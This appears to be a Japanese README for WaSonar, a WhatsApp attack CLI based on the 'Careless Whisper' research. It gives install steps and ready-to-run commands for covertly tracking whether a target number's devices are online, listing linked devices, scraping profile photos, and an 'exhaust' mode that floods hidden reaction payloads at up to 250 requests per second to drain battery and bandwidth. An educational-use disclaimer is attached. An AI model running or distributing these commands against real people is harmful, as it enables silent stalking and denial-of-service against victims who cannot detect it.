免責事項: このツールは教育目的およびセキュリティ研究のためのみです。開発者は悪用について責任を負いません。責任を持って倫理的にご使用ください。

WaSonar は、WhatsAppプロトコルにおける教育研究、デバイストラッキング、ストレステストのために設計された強力なCLIツールです。Baileys 上に構築されています。

機能 • インストール • 使用方法

機能

リアルタイムデバイストラッキング: すべてのリンクされたデバイス（電話、Web、デスクトップ）の正確なオンライン/オフライン状態を検出します。
デバイス検出: 対象番号にリンクされたすべてのデバイス（メイン電話 + コンパニオンデバイス）を一覧表示します。
プロフィール抽出: プロフィール画像、ステータス/プロフィール情報、JIDを取得します。
リソース枯渇: 過大なリアクションペイロードを使用してデバイスを圧倒します（アグレッシブモード/スローモード）。

インストール

NPM経由（推奨）

npm install -g wasonar-cli

NPX経由（インストール不要）

npx wasonar-cli <command>

ソースから

git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install

使用方法

1. ログイン

最初に、WhatsAppアカウントで認証する必要があります。

wasonar-cli login

ターミナルに表示されるQRコードをスキャンしてください。

2. デバイス検出

対象番号に接続されているすべてのデバイスを一覧表示します。

wasonar-cli devices <target-number>

# 例:
wasonar-cli devices 919876543210

3. オンライン状態とRTT

コア機能です。サイレントプローブを送信して、デバイスがオンラインかどうかを検出し、レイテンシを測定します。

# 無制限にプローブを送信（デフォルト）
wasonar-cli online 919876543210

# 特定の回数プローブを送信
wasonar-cli online 919876543210 --probes 5

# 結果をファイルに保存
wasonar-cli online 919876543210 --output ./logs

注: PENDING/OFFLINE は、サーバーがメッセージを受信したが、対象デバイスが受信確認をしなかったことを意味します。

4. プロフィール抽出

ユーザーのプロフィール画像とステータスを取得します。

# 情報を表示し、プロフィール画像をダウンロード
wasonar-cli profile 919876543210 --output ./profiles

5. リソース枯渇

⚠️ 教育目的のみに使用してください。 高頻度で過大なペイロードを送信します。

# アグレッシブモード（デフォルト: 250 req/s, 1KB ペイロード）
wasonar-cli exhaust 919876543210

# スローモード（10 req/s, 500B ペイロード）
wasonar-cli exhaust 919876543210 --aggression slow

# 期間を設定
wasonar-cli exhaust 919876543210 --duration 30

手法

サイレントプローブ

WaSonar は「サイレント削除プローブ」を使用して、対象に警告を発せずにオンライン状態を検出します。

存在しないメッセージIDに対して revoked（削除）メッセージを送信します。
対象デバイスがこの「削除」リクエストを受信します。
オンラインの場合、デバイスはプロトコルメッセージに対して delivery_receipt（ステータス3）を送信します。
WaSonar はこの受信確認をキャプチャし、オンライン状態を確認してRTTを計算します。

枯渇攻撃

「Careless Whisper」の研究に基づき、この攻撃はWhatsAppのリアクション処理における検証のギャップを悪用します。

技術詳細

無効なリアクションは対象の電話に表示されませんが、それでも受信・処理されます。

ペイロード制限: WhatsAppサーバーは最大1 MBのリアクションペイロードを許可します。
処理: クライアントは、これらのメッセージを破棄する前に処理を試みます（有効表示の制限は約30バイト）。これによりリソースを消費します。

影響分析

研究データは、リソース枯渇の大きな可能性を示しています。

トラフィック増幅: 1つのセッションで約3.7 MB/s（13.3 GB/時間）の隠れトラフィックを生成できます。
バッテリー消耗: これらのメッセージの高速処理により、最新のスマートフォン（iPhone 13 Pro、S23でテスト済み）の待機中に1時間あたり14〜18％のバッテリーを消費する可能性があります。
サービス拒否: 帯域幅の消費により、被害者のデバイス上の他のアプリケーションがサービス拒否状態になる可能性があります。

引用

Gegenhuberら（ウィーン大学 & SBA Research）の研究に基づく：

@inproceedings{gegenhuber2024careless,
  title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
  author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
  year={2024},
  organization={University of Vienna, SBA Research}
}

作成者: AjayAnto

WaSonar

人気

機能